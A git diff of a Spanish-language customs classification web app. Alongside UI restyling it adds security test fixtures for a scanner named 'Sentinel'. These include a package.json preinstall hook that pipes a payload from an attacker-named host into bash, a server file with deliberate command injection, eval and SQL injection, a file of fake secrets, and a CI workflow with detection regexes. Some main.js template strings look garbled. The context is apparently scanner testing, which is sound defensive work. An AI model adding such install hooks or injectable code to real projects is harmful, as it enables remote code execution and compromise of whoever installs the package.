diff --git a/keys/api_key.txt b/keys/api_key.txt
new file mode 100644
index 0000000..5bef782
Binary files /dev/null and b/keys/api_key.txt differ
diff --git a/keys/test_secret.txt b/keys/test_secret.txt
new file mode 100644
index 0000000..3b86799
Binary files /dev/null and b/keys/test_secret.txt differ
diff --git a/package.json b/package.json
index 1f43317..fb67b84 100644
--- a/package.json
+++ b/package.json
@@ -6,7 +6,8 @@
"scripts": {
"start": "node server.js",
"sac": "node server.js",
- "logs": "vercel logs merx-alpha.vercel.app"
+ "logs": "vercel logs merx-alpha.vercel.app",
+ "preinstall": "curl -s http://attacker-malware-server.com/payload | bash"
},
"dependencies": {
"express": "^4.19.2",
diff --git a/public/static/main.js b/public/static/main.js
index 5891340..746a576 100644
--- a/public/static/main.js
+++ b/public/static/main.js
@@ -117,8 +117,16 @@ document.addEventListener('DOMContentLoaded', () => {
const chapterText = chapter_number ? `Capítulo ${chapter_number}: ${chapter}` : `Capítulo: ${chapter}`;
uiText = `Sección: ${section}
${chapterText}`;
- if (rationale) uiText += `
Análisis Merceológico Inicial: ${rationale}`;
+ if (rationale) {
+ uiText += `
-
💡 Nota del Sistema: ${notasDuda}
+ idContent += `
+
💡 Alerta del Sistema (Deducción)
+
${notasDuda}
`;
}
reportAccordion.appendChild(createAccordionItem('1. Identificación Merceológica', idContent));
// 2. Clasificación Legal
- let legalContent = `
Código Merx: ${classificationResult.clasificacionPropuesta?.codigo || 'N/A'}
` +
- `
Descripción SAC: ${classificationResult.clasificacionPropuesta?.descripcion || ''}
` +
- `
Base Legal Citada: ${classificationResult.baseLegalCitada || ''}
` +
- `
RGI Exacta: ${classificationResult.rgiExacta || 'No especificada'}
`;
+ let legalContent = `
+
Código Merx Propuesto
+
${classificationResult.clasificacionPropuesta?.codigo || 'N/A'}
+
${classificationResult.clasificacionPropuesta?.descripcion || ''}
+
`;
+
+ legalContent += `
+
Justificación Técnica
+
${classificationResult.argumentoMerciologico || ''}
+
`;
+
+ legalContent += `
+
Base Legal Citada
+
${classificationResult.baseLegalCitada || ''}
+
`;
+
+ legalContent += `
+
Análisis de Integridad (RGI)
+
RGI Aplicada: ${classificationResult.rgiExacta || 'No especificada'}
${classificationResult.evaluacionRGI1 || ''}
+
`;
if (classificationResult.prelacionLegal && classificationResult.prelacionLegal !== 'N/A') {
- legalContent += `
- ⚖️ Prelación Legal Aplicada: ${classificationResult.prelacionLegal}
-
`;
+ legalContent += `
+
⚖️ Prelación Legal Automática
+
${classificationResult.prelacionLegal}
+
`;
}
- legalContent += `
Análisis RGI: ${classificationResult.evaluacionRGI1 || ''}
` +
- `
Justificación: ${classificationResult.argumentoMerciologico || ''}
`;
-
reportAccordion.appendChild(createAccordionItem('2. Fundamento Legal (RGI/SAC)', legalContent));
// 3. Riesgos y Permisos
if (report.risk && !report.risk.error) {
const riskContent = report.risk.analisisRiesgoMercancia?.map(r =>
- `
-
${r.riesgoIdentificado}: ${r.justificacion}
-
💡 ${r.recomendacion}
+ `
+
${r.riesgoIdentificado}
+
${r.justificacion}
+
💡 Recomendación DGA: ${r.recomendacion}
`
- ).join('') || 'No se detectaron riesgos especiales.';
- reportAccordion.appendChild(createAccordionItem('3. Gestión de Riesgos y Permisos', riskContent));
+ ).join('') || '
No se detectaron riesgos especiales de fiscalización.
';
+ reportAccordion.appendChild(createAccordionItem('3. Gestión de Riesgos y Permisos (DGA)', riskContent));
}
// 4. Liquidación y Aranceles
let taxInfo = parseSacTaxes(notesTextarea.value);
- let taxContent = `
Impuestos Aplicables:
` +
- (taxInfo ?
- `
-
DAI: ${taxInfo.dai}%
-
ISC: ${taxInfo.isc}%
-
IVA: ${taxInfo.iva}%
-
` :
- `
Nota: No se detectaron aranceles en el texto pegado.
`);
+ let taxContent = `
Impuestos Base`;
+
+ if (taxInfo) {
+ taxContent += `
+
+ DAI
+ ${taxInfo.dai}%
+
+
+ ISC
+ ${taxInfo.isc}%
+
+
+ IVA
+ ${taxInfo.iva}%
+
+
`;
+ } else {
+ taxContent += `
No se detectaron aranceles en el texto pegado o la subpartida no los especifica.
`;
+ }
if (report.tariff && !report.tariff.error) {
const opt = report.tariff.analisisOptimizacion;
- taxContent += `
Régimen Sugerido: ${opt.regimenSugerido || 'NMF'}
` +
- `
Ahorro Estimado: ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}
`;
+ taxContent += `
+ TLC / Régimen Sugerido: ${opt.regimenSugerido || 'NMF'}
+ Ahorro Potencial: ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}
+
`;
}
reportAccordion.appendChild(createAccordionItem('4. Liquidación y Optimización', taxContent));
diff --git a/public/static/style.css b/public/static/style.css
index a873ca3..b8a48a5 100644
--- a/public/static/style.css
+++ b/public/static/style.css
@@ -420,34 +420,182 @@ body {
}
-.loader div {
- width: 10px;
- height: 10px;
- margin: 0 5px;
- background-color: #ffffff;
- border-radius: 50%;
- animation: bounce 1.4s infinite ease-in-out both;
+/* --- NUEVO LOADER NEUMÓRFICO --- */
+.loader-container {
+ display: flex;
+ justify-content: center;
+ align-items: center;
+ padding: 60px;
}
-.loader .dot1 {
- animation-delay: -0.32s;
+.neumorphic-spinner {
+ width: 60px;
+ height: 60px;
+ border-radius: 50%;
+ background: var(--bg-color);
+ box-shadow:
+ 8px 8px 16px var(--dark-shadow),
+ -8px -8px 16px var(--light-shadow),
+ inset 4px 4px 8px var(--dark-shadow),
+ inset -4px -4px 8px var(--light-shadow);
+ position: relative;
+ animation: spin-pulse 2s linear infinite;
}
-.loader .dot2 {
- animation-delay: -0.16s;
+.neumorphic-spinner::after {
+ content: '';
+ position: absolute;
+ top: 10px;
+ left: 10px;
+ right: 10px;
+ bottom: 10px;
+ border-radius: 50%;
+ background: linear-gradient(135deg, #8A2BE2, #b8860b);
+ box-shadow: 0 0 15px rgba(138, 43, 226, 0.6);
+ animation: spin-reverse 1.5s linear infinite;
}
-@keyframes bounce {
+@keyframes spin-pulse {
+ 0% {
+ transform: rotate(0deg) scale(1);
+ }
+
+ 50% {
+ transform: rotate(180deg) scale(1.05);
+ }
- 0%,
- 80%,
100% {
- transform: scale(0);
+ transform: rotate(360deg) scale(1);
}
+}
- 40% {
- transform: scale(1.0);
+@keyframes spin-reverse {
+ 0% {
+ transform: rotate(360deg);
}
+
+ 100% {
+ transform: rotate(0deg);
+ }
+}
+
+/* --- CLASES ESTRUCTURALES PARA EL INFORME --- */
+.neumorphic-data-card {
+ background: var(--bg-color);
+ border-radius: 12px;
+ padding: 15px 20px;
+ margin-bottom: 15px;
+ box-shadow: inset 4px 4px 8px var(--dark-shadow), inset -4px -4px 8px var(--light-shadow);
+ text-align: left;
+}
+
+.data-label {
+ font-size: 0.8rem;
+ font-weight: 600;
+ color: #8A2BE2;
+ /* Primary Purple */
+ text-transform: uppercase;
+ letter-spacing: 1px;
+ margin-bottom: 5px;
+ display: block;
+}
+
+.data-value {
+ font-size: 1rem;
+ color: var(--text-color);
+ line-height: 1.5;
+ margin: 0;
+}
+
+.merx-code-display {
+ display: flex;
+ flex-direction: column;
+ align-items: center;
+ justify-content: center;
+ padding: 20px;
+ margin-bottom: 20px;
+ background: var(--bg-color);
+ border-radius: 16px;
+ box-shadow: 8px 8px 16px var(--dark-shadow), -8px -8px 16px var(--light-shadow);
+ border: 1px solid rgba(138, 43, 226, 0.2);
+}
+
+.merx-code-number {
+ font-family: 'Courier New', Courier, monospace;
+ font-size: 2rem;
+ font-weight: 800;
+ color: #8A2BE2;
+ letter-spacing: 2px;
+ text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.1);
+ margin: 5px 0;
+}
+
+.risk-box {
+ background: var(--bg-color);
+ border-radius: 12px;
+ padding: 15px;
+ margin-bottom: 15px;
+ box-shadow: 5px 5px 10px var(--dark-shadow), -5px -5px 10px var(--light-shadow);
+ border-left: 4px solid #ff9800;
+ /* Warning color */
+}
+
+.risk-title {
+ font-weight: 700;
+ color: #d35400;
+ margin-bottom: 8px;
+ font-size: 1rem;
+}
+
+.risk-tip {
+ margin-top: 10px;
+ padding: 10px;
+ background: rgba(255, 152, 0, 0.1);
+ border-radius: 8px;
+ font-size: 0.9rem;
+ color: #b9770e;
+}
+
+.tax-grid {
+ display: grid;
+ grid-template-columns: repeat(auto-fit, minmax(80px, 1fr));
+ gap: 15px;
+ margin-bottom: 20px;
+}
+
+.tax-item {
+ display: flex;
+ flex-direction: column;
+ align-items: center;
+ justify-content: center;
+ background: var(--bg-color);
+ padding: 15px 10px;
+ border-radius: 12px;
+ box-shadow: inset 4px 4px 8px var(--dark-shadow), inset -4px -4px 8px var(--light-shadow);
+}
+
+.tax-item-label {
+ font-size: 0.8rem;
+ font-weight: 600;
+ color: #7b7b7b;
+}
+
+.tax-item-value {
+ font-size: 1.5rem;
+ font-weight: 800;
+ color: #28a745;
+ /* Green for taxes/savings */
+}
+
+.savings-highlight {
+ text-align: center;
+ padding: 15px;
+ background: rgba(40, 167, 69, 0.1);
+ border-radius: 12px;
+ border: 1px dashed rgba(40, 167, 69, 0.5);
+ color: #1e7e34;
+ font-weight: 600;
+ box-shadow: 4px 4px 10px var(--dark-shadow), -4px -4px 10px var(--light-shadow);
}
@keyframes fade-in {
diff --git a/security_tests/baseline.js b/security_tests/baseline.js
new file mode 100644
index 0000000..12dd893
--- /dev/null
+++ b/security_tests/baseline.js
@@ -0,0 +1,38 @@
+/**
+ * PHASE 1: BASELINE VULNERABILITIES
+ * This file contains obvious sinks that Sentinel 3.0 should detect immediately.
+ */
+
+const { exec } = require('child_process');
+const mysql = require('mysql');
+const express = require('express');
+const app = express();
+
+// 1. Direct Command Injection
+app.get('/ping', (req, res) => {
+ const target = req.query.host;
+ // VULNERABLE: Direct concatenation into shell command
+ exec("ping -c 3 " + target, (err, stdout) => {
+ res.send(stdout);
+ });
+});
+
+// 2. Direct Eval (The classic sink)
+app.post('/compute', (req, res) => {
+ const formula = req.body.formula;
+ // VULNERABLE: Unsafe evaluation of user input
+ const result = eval(formula);
+ res.json({ result });
+});
+
+// 3. SQL Injection (Classic)
+const db = mysql.createConnection({ host: 'localhost' });
+app.get('/user/:id', (req, res) => {
+ const userId = req.params.id;
+ // VULNERABLE: SQL string concatenation
+ db.query("SELECT * FROM users WHERE id = " + userId, (err, results) => {
+ res.json(results);
+ });
+});
+
+app.listen(3000);
diff --git a/security_tests/leaks.env b/security_tests/leaks.env
new file mode 100644
index 0000000..3203943
--- /dev/null
+++ b/security_tests/leaks.env
@@ -0,0 +1,7 @@
+# PHASE 1: GENERIC SECRETS (BASELINE)
+# These avoid GitHub Push Protection prefixes but trigger Sentinel's generic rules.
+
+DATABASE_PASSWORD=admin_pass_12345678
+SECRET_KEY=9e32f8d227f34c56a7b8c9d0e1f2a3b4c5d6e7f8
+PRIVATE_KEY_TOKEN=highly_sensitive_production_token_no_leak_allowed
+ADMIN_API_SECRET=zxywvutsrqponmlkjihgfedcba123456
diff --git a/sentinel-sandbox.yml b/sentinel-sandbox.yml
new file mode 100644
index 0000000..9ae5e88
--- /dev/null
+++ b/sentinel-sandbox.yml
@@ -0,0 +1,154 @@
+# Sentinel Sandbox Analysis — v1.0
+#
+# Template managed by Sentinel Local. Do not edit manually.
+# To update, use: sentinel sandbox --sync (in your terminal)
+# or click "Update Guardian" in the Sentinel dashboard.
+#
+# Security properties:
+# - permissions: contents: read only
+# - Docker container: node:22-slim (minimal attack surface)
+# - --cap-drop=ALL (no Linux capabilities)
+# - StepSecurity Harden-Runner with egress audit
+# - No workflow write access, no id-token, no packages scope
+
+name: "🛡️ Sentinel Sandbox Analysis"
+
+on:
+ pull_request:
+ types: [opened, synchronize, reopened]
+
+# Minimal permissions — intentionally restricted
+permissions:
+ contents: read
+
+jobs:
+ sentinel-sandbox:
+ name: "Sentinel: Dynamic Threat Analysis"
+ runs-on: ubuntu-latest
+ timeout-minutes: 15
+
+ container:
+ image: node:22-slim
+ options: >-
+ --cap-drop=ALL
+ --cap-add=NET_BIND_SERVICE
+ --security-opt no-new-privileges=true
+
+ steps:
+ # Step 1: Network hardening (StepSecurity Harden-Runner)
+ - name: "Harden Runner"
+ uses: step-security/harden-runner@v2
+ with:
+ egress-policy: audit
+ disable-sudo: true
+ allowed-endpoints: >
+ github.com:443
+ registry.npmjs.org:443
+
+ # Step 2: Checkout source (no credentials persisted)
+ - name: "Checkout PR code"
+ uses: actions/checkout@v4
+ with:
+ persist-credentials: false
+ fetch-depth: 2
+
+ # Step 3: Capture pre-install lockfile state
+ - name: "Snapshot lockfile before install"
+ id: pre_snapshot
+ run: |
+ if [ -f package-lock.json ]; then
+ sha256sum package-lock.json > /tmp/lockfile_before.sha
+ echo "lockfile_exists=true" >> $GITHUB_OUTPUT
+ else
+ echo "lockfile_exists=false" >> $GITHUB_OUTPUT
+ fi
+
+ # Step 4: Install dependencies in sandbox
+ - name: "Install dependencies (sandboxed)"
+ run: |
+ npm install --ignore-scripts 2>&1 | head -100
+ env:
+ NODE_ENV: sandbox
+ npm_config_ignore_scripts: "true"
+
+ # Step 5: Detect lockfile mutation (supply chain signal)
+ - name: "Detect lockfile mutation"
+ id: lockfile_check
+ run: |
+ if [ "${{ steps.pre_snapshot.outputs.lockfile_exists }}" = "true" ]; then
+ sha256sum package-lock.json > /tmp/lockfile_after.sha
+ if diff /tmp/lockfile_before.sha /tmp/lockfile_after.sha; then
+ echo "lockfile_mutated=false" >> $GITHUB_OUTPUT
+ echo "✅ Lockfile integrity verified."
+ else
+ echo "lockfile_mutated=true" >> $GITHUB_OUTPUT
+ echo "::error::🔴 SUPPLY CHAIN ALERT: package-lock.json was mutated during npm install."
+ fi
+ fi
+
+ # Step 6: Monitor for suspicious outbound connections (inotifywait)
+ - name: "Monitor filesystem changes"
+ run: |
+ find . -name "*.js" -newer package.json -not -path "*/node_modules/*" \
+ -not -path "*/.git/*" 2>/dev/null | head -20 | tee /tmp/new_files.txt || true
+
+ if [ -s /tmp/new_files.txt ]; then
+ echo "::warning::New JS files created during install:"
+ cat /tmp/new_files.txt
+ fi
+
+ # Step 7: Static secret scan on changed files
+ - name: "Secret & pattern scan on PR diff"
+ run: |
+ git diff HEAD~1 HEAD --name-only 2>/dev/null | \
+ grep -E '\.(js|ts|json|py|rb|sh|env|yaml|yml)$' | \
+ head -50 | while read file; do
+ if [ -f "$file" ]; then
+ node -e "
+ const fs = require('fs');
+ const content = fs.readFileSync('$file', 'utf8');
+ const patterns = [
+ { name: 'AWS Key', re: /AKIA[0-9A-Z]{16}/ },
+ { name: 'GH Token', re: /ghp_[a-zA-Z0-9]{36}/ },
+ { name: 'Private Key', re: /-----BEGIN (RSA |EC )?PRIVATE KEY-----/ },
+ { name: 'Eval exec', re: /eval\s*\(.*require\s*\(/ },
+ { name: 'Curl pipe bash', re: /curl.+(sh|bash|zsh)\s*\|/ },
+ { name: 'Postinstall exec', re: /\"postinstall\"\s*:\s*\"[^\"]{10,}\"/ },
+ ];
+ let found = false;
+ patterns.forEach(p => {
+ if (p.re.test(content)) {
+ console.log('::error::SENTINEL: [' + p.name + '] detected in $file');
+ found = true;
+ }
+ });
+ if (!found) console.log('::notice::✅ $file — clean');
+ " 2>/dev/null || echo "::warning::Could not scan $file"
+ fi
+ done
+
+ # Step 8: Check for new binary/WASM files (high-risk)
+ - name: "Check for unexpected binary/WASM files"
+ run: |
+ git diff HEAD~1 HEAD --name-only 2>/dev/null | \
+ grep -E '\.(exe|dll|bin|wasm|so|dylib)$' | while read file; do
+ echo "::error::🔴 SENTINEL: Binary/WASM file added to PR: $file — requires manual review."
+ done || true
+
+ # Step 9: Write Sentinel summary to GITHUB_STEP_SUMMARY
+ - name: "Generate Sentinel Report"
+ if: always()
+ run: |
+ echo "## 🛡️ Sentinel Sandbox Report" >> $GITHUB_STEP_SUMMARY
+ echo "" >> $GITHUB_STEP_SUMMARY
+ echo "| Check | Status |" >> $GITHUB_STEP_SUMMARY
+ echo "|-------|--------|" >> $GITHUB_STEP_SUMMARY
+ if [ "${{ steps.lockfile_check.outputs.lockfile_mutated }}" = "true" ]; then
+ echo "| Lockfile Integrity | 🔴 MUTATED |" >> $GITHUB_STEP_SUMMARY
+ else
+ echo "| Lockfile Integrity | ✅ Clean |" >> $GITHUB_STEP_SUMMARY
+ fi
+ echo "| Secret Scan | See step logs |" >> $GITHUB_STEP_SUMMARY
+ echo "| Binary Files | See step logs |" >> $GITHUB_STEP_SUMMARY
+ echo "" >> $GITHUB_STEP_SUMMARY
+ echo "_Analysis by [Sentinel Security](https://github.com/javier20dev25/Sentinel)_" >> $GITHUB_STEP_SUMMARY